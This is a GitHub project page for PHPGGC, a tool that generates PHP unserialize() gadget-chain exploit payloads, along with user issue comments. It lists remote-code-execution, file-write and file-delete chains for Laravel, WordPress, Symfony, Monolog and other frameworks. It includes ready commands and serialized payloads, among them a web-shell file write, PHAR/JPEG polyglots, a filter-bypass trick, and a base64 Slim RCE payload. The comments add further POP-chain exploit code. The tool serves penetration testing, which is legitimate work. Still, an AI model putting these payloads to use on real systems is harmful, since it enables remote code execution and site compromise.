PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

Related tags

Security phpggc
Overview

PHPGGC: PHP Generic Gadget Chains

PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of frohoff's ysoserial, but for PHP. Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.

Requirements

PHP >= 5.6 is required to run PHPGGC. PHP 8 is not yet supported.

Usage

Run ./phpggc -l to obtain a list of gadget chains:

$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                         TYPE                   VECTOR         I    
CodeIgniter4/RCE1                         4.0.0-beta.1 <= 4.0.0-rc.4      RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.0.4+            RCE (Function call)    __destruct          
Doctrine/FW1                              ?                               File write             __toString     *    
Drupal7/FD1                               7.0 < ?                         File delete            __destruct     *    
Drupal7/RCE1                              7.0.8 < ?                       RCE (Function call)    __destruct     *    
Guzzle/FW1                                6.0.0 <= 6.3.3+                 File write             __destruct          
Guzzle/INFO1                              6.0.0 <= 6.3.2                  phpinfo()              __destruct     *    
Guzzle/RCE1                               6.0.0 <= 6.3.2                  RCE (Function call)    __destruct     *    
Horde/RCE1                                <= 5.2.22                       RCE (PHP code)         __destruct     *    
Laminas/FD1                               <= 2.11.2                       File delete            __destruct          
Laravel/RCE1                              5.4.27                          RCE (Function call)    __destruct          
Laravel/RCE2                              5.5.39                          RCE (Function call)    __destruct          
Laravel/RCE3                              5.5.39                          RCE (Function call)    __destruct     *    
Laravel/RCE4                              5.5.39                          RCE (Function call)    __destruct          
Laravel/RCE5                              5.8.30                          RCE (PHP code)         __destruct     *    
Laravel/RCE6                              5.5.*                           RCE (PHP code)         __destruct     *    
Laravel/RCE7                              ? <= 8.16.1                     RCE (Function call)    __destruct     *    
Magento/FW1                               ? <= 1.9.4.0                    File write             __destruct     *    
Magento/SQLI1                             ? <= 1.9.4.0                    SQL injection          __destruct          
Monolog/RCE1                              1.18 <= 2.1.1+                  RCE (Function call)    __destruct          
Monolog/RCE2                              1.5 <= 2.1.1+                   RCE (Function call)    __destruct          
Monolog/RCE3                              1.1.0 <= 1.10.0                 RCE (Function call)    __destruct          
Monolog/RCE4                              ? <= 2.4.4+                     RCE (Command)          __destruct     *    
Phalcon/RCE1                              <= 1.2.2                        RCE                    __wakeup       *    
PHPCSFixer/FD1                            <= 2.17.3                       File delete            __destruct          
PHPCSFixer/FD2                            <= 2.17.3                       File delete            __destruct          
PHPExcel/FD1                              1.8.2+                          File delete            __destruct          
PHPExcel/FD2                              <= 1.8.1                        File delete            __destruct          
PHPExcel/FD3                              1.8.2+                          File delete            __destruct          
PHPExcel/FD4                              <= 1.8.1                        File delete            __destruct          
Pydio/Guzzle/RCE1                         < 8.2.2                         RCE (Function call)    __toString          
Slim/RCE1                                 3.8.1                           RCE (Function call)    __toString          
Smarty/FD1                                ?                               File delete            __destruct          
Smarty/SSRF1                              ?                               SSRF                   __destruct     *    
SwiftMailer/FD1                           -5.4.12+, -6.2.1+               File delete            __destruct          
SwiftMailer/FW1                           5.1.0 <= 5.4.8                  File write             __toString          
SwiftMailer/FW2                           6.0.0 <= 6.0.1                  File write             __toString          
SwiftMailer/FW3                           5.0.1                           File write             __toString          
SwiftMailer/FW4                           4.0.0 <= ?                      File write             __destruct          
Symfony/FW1                               2.5.2                           File write             DebugImport    *    
Symfony/FW2                               3.4                             File write             __destruct          
Symfony/RCE1                              3.3                             RCE (Command)          __destruct     *    
Symfony/RCE2                              2.3.42 < 2.6                    RCE (PHP code)         __destruct     *    
Symfony/RCE3                              2.6 <= 2.8.32                   RCE (PHP code)         __destruct     *    
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7     RCE (Function call)    __destruct     *    
Symfony/RCE5                              5.2.*                           RCE (Function call)    __destruct
TCPDF/FD1                                 <= 6.3.5                        File delete            __destruct     *    
ThinkPHP/RCE1                             5.1.x-5.2.x                     RCE (Function call)    __destruct     *    
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2             RCE (Function call)    __destruct     *    
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2     RCE (Function call)    __destruct     *    
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2    RCE (Function call)    __toString     *    
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2    RCE (Function call)    __destruct     *    
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2      RCE (Function call)    __destruct     *    
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2      RCE (Function call)    __destruct     *    
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2    RCE (Function call)    __destruct     *    
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2           RCE (Function call)    __destruct     *    
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2         RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2             RCE (Function call)    __toString     *    
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2           RCE (Function call)    __toString     *    
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2             RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2           RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2             RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2           RCE (Function call)    __destruct     *    
Yii/RCE1                                  1.1.20                          RCE (Function call)    __wakeup       *    
Yii2/RCE1                                 <2.0.38                         RCE (Function call)    __destruct     *    
Yii2/RCE2                                 <2.0.38                         RCE (PHP code)         __destruct     *    
ZendFramework/FD1                         ? <= 1.12.20                    File delete            __destruct          
ZendFramework/RCE1                        ? <= 1.12.20                    RCE (PHP code)         __destruct     *    
ZendFramework/RCE2                        1.11.12 <= 1.12.20              RCE (Function call)    __toString     *    
ZendFramework/RCE3                        2.0.1 <= ?                      RCE (Function call)    __destruct          
ZendFramework/RCE4                        ? <= 1.12.20                    RCE (PHP code)         __destruct     *

Filter gadget chains:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME            VERSION        TYPE                   VECTOR        I    
Laravel/RCE1    5.4.27         RCE (Function call)    __destruct         
Laravel/RCE2    5.5.39         RCE (Function call)    __destruct         
Laravel/RCE3    5.5.39         RCE (Function call)    __destruct    *    
Laravel/RCE4    5.5.39         RCE (Function call)    __destruct         
Laravel/RCE5    5.8.30         RCE (PHP code)         __destruct    *    
Laravel/RCE6    5.5.*          RCE (PHP code)         __destruct    *    
Laravel/RCE7    ? <= 8.16.1    RCE (Function call)    __destruct    *

Every gadget chain has:

  • Name: Name of the framework/library
  • Version: Version of the framework/library for which gadgets are for
  • Type: Type of exploitation: RCE, File Write, File Read, Include...
  • Vector: the vector to trigger the chain after the unserialize (__destruct(), __toString(), offsetGet(), ...)
  • Informations: Other informations about the chain

Use -i to get detailed information about a chain:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

Once you have selected a chain, run ./phpggc <gadget-chain> [parameters] to obtain the payload. For instance, to obtain a payload for Monolog, you'd do:

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

For a file write using SwiftMailer, you'd do:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

The --wrapper (-w) option allows you to define a PHP file containing the following functions:

  • process_parameters($parameters): Called right before generate(), allows to change parameters
  • process_object($object): Called right before serialize(), allows to change the object
  • process_serialized($serialized): Called right after serialize(), allows to change the serialized string

For instance, if the vulnerable code looks like this:

<?php
$data = unserialize($_GET['data']);
print $data['message'];

You could use a __toString() chain, wrapping it like so:

<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

And you'd call phpggc like so:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

History

At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (file_exists, fopen, etc.). The paper is here.

Implementation

PHAR archives come in three different formats: PHAR, TAR, and ZIP. The three of them are supported by PHPGGC. Polyglot files can be generated using --phar-jpeg (-pj). Other options are available (use -h).

Examples

$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Encoders

Arguments allow to modify the way the payload is output. For instance, -u will URL encode it, and -b will convert it to base64. Payloads often contain NULL bytes and cannot be copy/pasted as-is. Use -s for a soft URL encode, which keeps the payload readable.

The encoders can be chained, and as such the order is important. For instance, ./phpggc -b -u -u slim/rce1 system id will base64 the payload, then URLencode it twice.

Advanced: Enhancements

Fast destruct

PHPGGC implements a --fast-destruct (-f) flag, that will make sure your serialized object will be destroyed right after the unserialize() call, and not at the end of the script. I'd recommend using it for every __destruct vector, as it improves reliability. For instance, if PHP script raises an exception after the call, the __destruct method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.

$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

ASCII Strings

Uses the S serialization format instead of the standard s. This replaces every non-ASCII value to an hexadecimal representation: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D"; This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. Note: this is experimental and it might not work in some cases.

Plus Numbers

Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as /O:[0-9]+:. This is easily bypassed using O:+123:... instead of O:123:. One can use --plus-numbers <types>, or -n <types>, to automatically add these + signs in front of symbols. For instance, to obfuscate objects and strings, one can use: --n Os. Please note that since PHP 7.2, only i and d (float) types can have a +.

API

Instead of using PHPGGC as a command line tool, you can program PHP scripts:

<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

This allows you to tweak the parameters or write exploits more easily. Note: This is pretty experimental at the moment, so please, report bugs.

Contributing

Pull requests are more than welcome. Please follow these simple guidelines:

  • __destruct() is always the best vector
  • Specify at least the version of the library you've built the payload on
  • Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems.
  • Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.

Codewise, the directory structure is fairly straightforward: gadgets in gadgets.php, description + logic in chain.php. You can define pre- and post- processing methods, if parameters need to be modified. Hopefully, the already implemented gadgets should be enough for you to build yours. Otherwise, I'd be glad to answer your questions.

The --new <framework> <type> command-line option can be used to create the directory and file structure for a new gadget chain. For instance, use ./phpggc -n Drupal RCE would create a new Drupal RCE gadgetchain.

Docker

If you don't want to install PHP, you can use docker build.

License

Apache License 2.0

Comments
  • New pop chains for Laravel 9.12.2

    New pop chains for Laravel 9.12.2

    Looks like someone published 4 new exploits for Laravel via an unserialize pop chain in __destruct and dispatch($command).. I tested them and confirmed they work.

    source: https://github.com/1nhann/vulns/issues/1 https://github.com/1nhann/vulns/issues/2 https://github.com/1nhann/vulns/issues/3 https://github.com/1nhann/vulns/issues/4

    Posting here since this may be of interest to implement into phpggc

    Gadget Chain 
    opened by GlitchWitch 12
  • Wrapper to bypass checks as enhancement ?

    Wrapper to bypass checks as enhancement ?

    There is a trick which can be used to bypass some attempts to validate the serialised data given: Put a + before all integer values of Object and/or Classes (there might be also possible for integer and string, haven't checked).

    For instance:

    O:19:"WC_Log_Handler_File":1:{s:10:"*handles";C:33:"Requests_Utility_FilteredIterator":80:{x:i:0;a:1:{i:0;s:7:"phpinfo";};m:a:1:{s:11:"*callback";s:14:"call_user_func";}}}
    

    would become

    O:+19:"WC_Log_Handler_File":1:{s:10:"*handles";C:+33:"Requests_Utility_FilteredIterator":80:{x:i:0;a:1:{i:0;s:7:"phpinfo";};m:a:1:{s:11:"*callback";s:14:"call_user_func";}}}
    

    So far I am using a wrapper as this is a very specific situation to bypass the check in place:

    public function process_serialized($serialized) {
        return preg_replace('/(C|O):(\d+):/', '$1:+$2:', $serialized);
    }
    

    However, it might be interesting to add it as an enhancement

    opened by erwanlr 10
  • Multiple function parameters

    Multiple function parameters

    Hi,

    Is it possible to have the Monolog or Guzzle RCE gadget chains execute a function with multiple parameters?

    I've been playing around with the chains but couldn't get it to work yet.

    E.g. If it's possible to call call_user_func_array with two parameters, it should be feasible to call any function with an arbitrary number of parameters.

    opened by c3c 6
  • ./phpggc -l / -i Version output is confusing

    ./phpggc -l / -i Version output is confusing

    When listing the gadget chains or displaying their information, the Version is kind of confusing.

    For example

    ./phpggc -l
    Gadget Chains
    -------------
    
    NAME                                    VERSION                TYPE             VECTOR         I    
    CodeIgniter4/RCE1                       4.0.0-beta.1 <= ?      rce              __destruct          
    Doctrine/FW1                            ?                      file_write       __toString     *    
    Drupal7/FD1                             7.0 < ?                file_delete      __destruct     *    
    Drupal7/RCE1                            7.0.8 < ?              rce              __destruct     *    
    Guzzle/FW1                              6.0.0 <= 6.3.2         file_write       __destruct          
    Guzzle/INFO1                            6.0.0 <= 6.3.2         phpinfo()        __destruct     *    
    Guzzle/RCE1                             6.0.0 <= 6.3.2         rce              __destruct     *
    

    When I read Guzzle/FW1 6.0.0 <= 6.3.2, I understand that the FW1 has been fixed in the 6.3.2, which is NOT the case. It just means that the gadget has been tested and works for sure with versions 6.0.0 <= 6.3.2.

    I don't think that keeping track of each new release and test the gadgets on them is being done or even a solution for long term (unless there would be a way to automate that).

    I am not sure what's your stance on that, EDIT: This doesn't make sense, see next comment - but I would suggest that

    • The Versions listed to be Minimum_Vulnerable_Version <|<= Fixed_In_Version
    • Put the max tested version In the $informations string (-I)
    • Maybe add another column to clear things up (like a Tested Up To) ?

    Example for Guzzle/FW1, something like:

    <?php
    namespace GadgetChain\Guzzle;
    class FW1 extends \PHPGGC\GadgetChain\FileWrite
    {
        public static $version = '6.0.0 <= ?';
        public static $vector = '__destruct';
        public static $author = 'cf';
        public static $informations = 'Tested up to 6.3.2, however newer versions may still be affected';
        
        public function generate(array $parameters)
        {
            $path = $parameters['remote_path'];
            $data = $parameters['data'];
            return new \GuzzleHttp\Cookie\FileCookieJar($path, $data);
        }
    }
    
    opened by erwanlr 6
  • PHPInfo Gadget Chain

    PHPInfo Gadget Chain

    Could it be possible to implement a PHPInfo GadgetChain type ? It doesn't seem possible to execute it via Guzzle/RCE1 (unless I missed something), but managed to get it working via old crafting methods with

    O:24:"GuzzleHttp\Psr7\FnStream":1:{s:9:"_fn_close"%3Bs:7:"phpinfo"%3B}

    and would like to send a PR to have it there (affected versions of Guzzle are the same than for the RCE/FW).

    Edit: Im trying against GuzzleHTTP v6.2.2 with PSR7 v1.3.1 to be exact.

    opened by erwanlr 6
  • Integrate PHARGGC to PHPGGC

    Integrate PHARGGC to PHPGGC

    Exploitation on implicit PHP unserialization via phar:// wrapper is commonly needed during pentest. The forked version of PHPGGC with phar exploitation support is available at https://github.com/s-n-t/phpggc. But, since there are many changes in PHPGGC and maybe there will be more changes to PHPGGC in the future, I think it's better to integrate the PHARGGC to main repo of PHPGGC.

    opened by farisv 6
  • Slim RCE payload not working

    Slim RCE payload not working

    I've installed Slim version 3.8.1 using composer require slim/slim "3.8.1". Generated a payload using this command:

    $ phpggc Slim/RCE1 'system("id");' -b
    TzoxODoiU2xpbVxIdHRwXFJlc3BvbnNlIjoyOntzOjEwOiIAKgBoZWFkZXJzIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiYWxsIjthOjI6e2k6MDtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImhhcyI7czo2OiJhc3NlcnQiO31zOjIyOiIAUGltcGxlXENvbnRhaW5lcgBrZXlzIjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fX19fWk6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImFsbCI7YToyOntpOjA7cjo2O2k6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjI6IgBQaW1wbGVcQ29udGFpbmVyAGtleXMiO2E6MTp7czozOiJhbGwiO2E6Mjp7aTowO3I6NjtpOjE7czoxMzoic3lzdGVtKCJpZCIpOyI7fX19fXM6NzoiACoAYm9keSI7czowOiIiO30=
    

    then I've used the following code to test the RCE:

    <?php
    
    use \Psr\Http\Message\ServerRequestInterface as Request;
    use \Psr\Http\Message\ResponseInterface as Response;
    
    require 'vendor/autoload.php';
    
    ini_set('display_errors', 1);
    error_reporting(E_ALL);
    
    $app = new \Slim\App;
    
    $app->get('/', function (Request $request, Response $response, array $args) {
    
        $data = 'TzoxODoiU2xpbVxIdHRwXFJlc3BvbnNlIjoyOntzOjEwOiIAKgBoZWFkZXJzIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiYWxsIjthOjI6e2k6MDtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjg6IlNsaW1cQXBwIjoxOntzOjE5OiIAU2xpbVxBcHAAY29udGFpbmVyIjtPOjE0OiJTbGltXENvbnRhaW5lciI6Mzp7czoyMToiAFBpbXBsZVxDb250YWluZXIAcmF3IjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImhhcyI7czo2OiJhc3NlcnQiO31zOjIyOiIAUGltcGxlXENvbnRhaW5lcgBrZXlzIjthOjE6e3M6MzoiaGFzIjtzOjY6ImFzc2VydCI7fX19fWk6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjQ6IgBQaW1wbGVcQ29udGFpbmVyAHZhbHVlcyI7YToxOntzOjM6ImFsbCI7YToyOntpOjA7cjo2O2k6MTtzOjEzOiJzeXN0ZW0oImlkIik7Ijt9fXM6MjI6IgBQaW1wbGVcQ29udGFpbmVyAGtleXMiO2E6MTp7czozOiJhbGwiO2E6Mjp7aTowO3I6NjtpOjE7czoxMzoic3lzdGVtKCJpZCIpOyI7fX19fXM6NzoiACoAYm9keSI7czowOiIiO30=';
    
        $x = unserialize(base64_decode($data));
        var_dump($x);
    });
    
    $app->run();
    

    The unserialization works but the payload does not get executed. Here's the output:

    object(Slim\Http\Response)#67 (5) {
      ["status":protected]=>
      int(200)
      ["reasonPhrase":protected]=>
      string(0) ""
      ["protocolVersion":protected]=>
      string(3) "1.1"
      ["headers":protected]=>
      object(Slim\App)#68 (3) {
        ["container":"Slim\App":private]=>
        object(Slim\Container)#69 (7) {
          ["defaultSettings":"Slim\Container":private]=>
          array(7) {
            ["httpVersion"]=>
            string(3) "1.1"
            ["responseChunkSize"]=>
            int(4096)
            ["outputBuffering"]=>
            string(6) "append"
            ["determineRouteBeforeAppMiddleware"]=>
            bool(false)
            ["displayErrorDetails"]=>
            bool(false)
            ["addContentLengthHeader"]=>
            bool(true)
            ["routerCacheFile"]=>
            bool(false)
          }
          ["values":"Pimple\Container":private]=>
          array(1) {
            ["all"]=>
            array(2) {
              [0]=>
              object(Slim\App)#70 (3) {
                ["container":"Slim\App":private]=>
                object(Slim\App)#71 (3) {
                  ["container":"Slim\App":private]=>
                  object(Slim\Container)#72 (7) {
                    ["defaultSettings":"Slim\Container":private]=>
                    array(7) {
                      ["httpVersion"]=>
                      string(3) "1.1"
                      ["responseChunkSize"]=>
                      int(4096)
                      ["outputBuffering"]=>
                      string(6) "append"
                      ["determineRouteBeforeAppMiddleware"]=>
                      bool(false)
                      ["displayErrorDetails"]=>
                      bool(false)
                      ["addContentLengthHeader"]=>
                      bool(true)
                      ["routerCacheFile"]=>
                      bool(false)
                    }
                    ["values":"Pimple\Container":private]=>
                    array(1) {
                      ["has"]=>
                      string(6) "assert"
                    }
                    ["factories":"Pimple\Container":private]=>
                    NULL
                    ["protected":"Pimple\Container":private]=>
                    NULL
                    ["frozen":"Pimple\Container":private]=>
                    array(0) {
                    }
                    ["raw":"Pimple\Container":private]=>
                    array(1) {
                      ["has"]=>
                      string(6) "assert"
                    }
                    ["keys":"Pimple\Container":private]=>
                    array(1) {
                      ["has"]=>
                      string(6) "assert"
                    }
                  }
                  ["stack":protected]=>
                  NULL
                  ["middlewareLock":protected]=>
                  bool(false)
                }
                ["stack":protected]=>
                NULL
                ["middlewareLock":protected]=>
                bool(false)
              }
              [1]=>
              string(13) "system("id");"
            }
          }
          ["factories":"Pimple\Container":private]=>
          NULL
          ["protected":"Pimple\Container":private]=>
          NULL
          ["frozen":"Pimple\Container":private]=>
          array(0) {
          }
          ["raw":"Pimple\Container":private]=>
          array(1) {
            ["all"]=>
            array(2) {
              [0]=>
              object(Slim\App)#70 (3) {
                ["container":"Slim\App":private]=>
                object(Slim\App)#71 (3) {
                  ["container":"Slim\App":private]=>
                  object(Slim\Container)#72 (7) {
                    ["defaultSettings":"Slim\Container":private]=>
                    array(7) {
                      ["httpVersion"]=>
                      string(3) "1.1"
                      ["responseChunkSize"]=>
                      int(4096)
                      ["outputBuffering"]=>
                      string(6) "append"
                      ["determineRouteBeforeAppMiddleware"]=>
                      bool(false)
                      ["displayErrorDetails"]=>
                      bool(false)
                      ["addContentLengthHeader"]=>
                      bool(true)
                      ["routerCacheFile"]=>
                      bool(false)
                    }
                    ["values":"Pimple\Container":private]=>
                    array(1) {
                      ["has"]=>
                      string(6) "assert"
                    }
                    ["factories":"Pimple\Container":private]=>
                    NULL
                    ["protected":"Pimple\Container":private]=>
                    NULL
                    ["frozen":"Pimple\Container":private]=>
                    array(0) {
                    }
                    ["raw":"Pimple\Container":private]=>
                    array(1) {
                      ["has"]=>
                      string(6) "assert"
                    }
                    ["keys":"Pimple\Container":private]=>
                    array(1) {
                      ["has"]=>
                      string(6) "assert"
                    }
                  }
                  ["stack":protected]=>
                  NULL
                  ["middlewareLock":protected]=>
                  bool(false)
                }
                ["stack":protected]=>
                NULL
                ["middlewareLock":protected]=>
                bool(false)
              }
              [1]=>
              string(13) "system("id");"
            }
          }
          ["keys":"Pimple\Container":private]=>
          array(1) {
            ["all"]=>
            array(2) {
              [0]=>
              object(Slim\App)#70 (3) {
                ["container":"Slim\App":private]=>
                object(Slim\App)#71 (3) {
                  ["container":"Slim\App":private]=>
                  object(Slim\Container)#72 (7) {
                    ["defaultSettings":"Slim\Container":private]=>
                    array(7) {
                      ["httpVersion"]=>
                      string(3) "1.1"
                      ["responseChunkSize"]=>
                      int(4096)
                      ["outputBuffering"]=>
                      string(6) "append"
                      ["determineRouteBeforeAppMiddleware"]=>
                      bool(false)
                      ["displayErrorDetails"]=>
                      bool(false)
                      ["addContentLengthHeader"]=>
                      bool(true)
                      ["routerCacheFile"]=>
                      bool(false)
                    }
                    ["values":"Pimple\Container":private]=>
                    array(1) {
                      ["has"]=>
                      string(6) "assert"
                    }
                    ["factories":"Pimple\Container":private]=>
                    NULL
                    ["protected":"Pimple\Container":private]=>
                    NULL
                    ["frozen":"Pimple\Container":private]=>
                    array(0) {
                    }
                    ["raw":"Pimple\Container":private]=>
                    array(1) {
                      ["has"]=>
                      string(6) "assert"
                    }
                    ["keys":"Pimple\Container":private]=>
                    array(1) {
                      ["has"]=>
                      string(6) "assert"
                    }
                  }
                  ["stack":protected]=>
                  NULL
                  ["middlewareLock":protected]=>
                  bool(false)
                }
                ["stack":protected]=>
                NULL
                ["middlewareLock":protected]=>
                bool(false)
              }
              [1]=>
              string(13) "system("id");"
            }
          }
        }
        ["stack":protected]=>
        NULL
        ["middlewareLock":protected]=>
        bool(false)
      }
      ["body":protected]=>
      string(0) ""
    }
    

    The system function is not disabled and I am able to execute it if I call it directly. Am I doing something wrong or the payload is not working?

    opened by shark0der 5
  • New Gadget for laravel

    New Gadget for laravel

    source: https://www.huntr.dev/bounties/3-laravel/framework/

    <?php
    use Illuminate\Validation\Rules\RequiredIf;
    
    require("vendor/autoload.php");
    
    $gadget = serialize(new RequiredIf("phpinfo"));
    
    echo unserialize($gadget); // exploitation
    
    Gadget Chain 
    opened by abdilahrf 4
  • Monolog

    Monolog

    Add monolog/monolog gadgets rce5 & rce6. Update README.md Monolog version compatibility on RCE with function call and __destruct, based on automatic tests. (not sure about the 6 as only the entrypoint is different from RCE2).

    opened by Mayfly277 4
  • Add Phalcon < 1.2.3 RCE gadget chain

    Add Phalcon < 1.2.3 RCE gadget chain

    This is an RCE gadget chain for Phalcon < 1.2.3 I found a while ago: https://raz0r.name/talks/confidence-2013-php-object-injection-revisited/. This chain will call render method on \Phalcon\Mvc\View\Engine\Php which will eval() the contents of a local file. I am using here php://input, so that any code in POST data will be evaluated. Please note that we cannot set payload via an argument to __construct(), so the chain does not expect parameters.

    opened by Raz0r 4
  • ThinkPHP\RCE1 does not work

    ThinkPHP\RCE1 does not work

    There is an capitalized word in phpggc ThinkPHP\RCE1:Smi1e

    image

    But in the process of working, the word Smi1e will be converted to lowercase

    image

    As a result, the first lowercase word cannot be found in the array

    I think the simplest and most effective way to improve is to lowercase all smi1e words

    opened by jelly0930 3
  • Add a vBulletin Guzzle Chain

    Add a vBulletin Guzzle Chain

    Here is a great blogpost about a nice (old) RCE in vBulletin based on Guzzle and looking like this:

    class googlelogin_vendor_autoload {} // fake class to include the autoloader
     
    class GuzzleHttp_HandlerStack
    {
        private $handler, $stack;
         
        function __construct($cmd)
        {
            $this->stack = [['system']]; // the callback we want to execute
            $this->handler = $cmd; // argument for the callback
        }
    }
     
    class GuzzleHttp_Psr7_FnStream
    {
        function __construct($callback)
        {
            $this->_fn_close = $callback;
        }
    }
     
    $pop = new GuzzleHttp_HandlerStack('touch pwned'); // the command we want to execute
    $pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);
     
    $chain = serialize([new googlelogin_vendor_autoload, $pop]);
     
    $chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain);
    $chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain);
    $chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain);
    $chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain);
         
    print $chain;
    

    it would be nice to have it in phpggc :)

    Gadget Chain 
    opened by jvoisin 1
  • Add chains for ThinkPHP, Monolog, Symfony

    Add chains for ThinkPHP, Monolog, Symfony

    Hi there, the ThinkPHP/rce3: image (also works on test version 6.0.1 As for the ThinkPHP/rce4, using composer to test won't work out (because the middle step need a connection), we should build it up and add an entry manually.

    the Monolog/fw2: image Monolog/info1: image all on the version 2.0.0

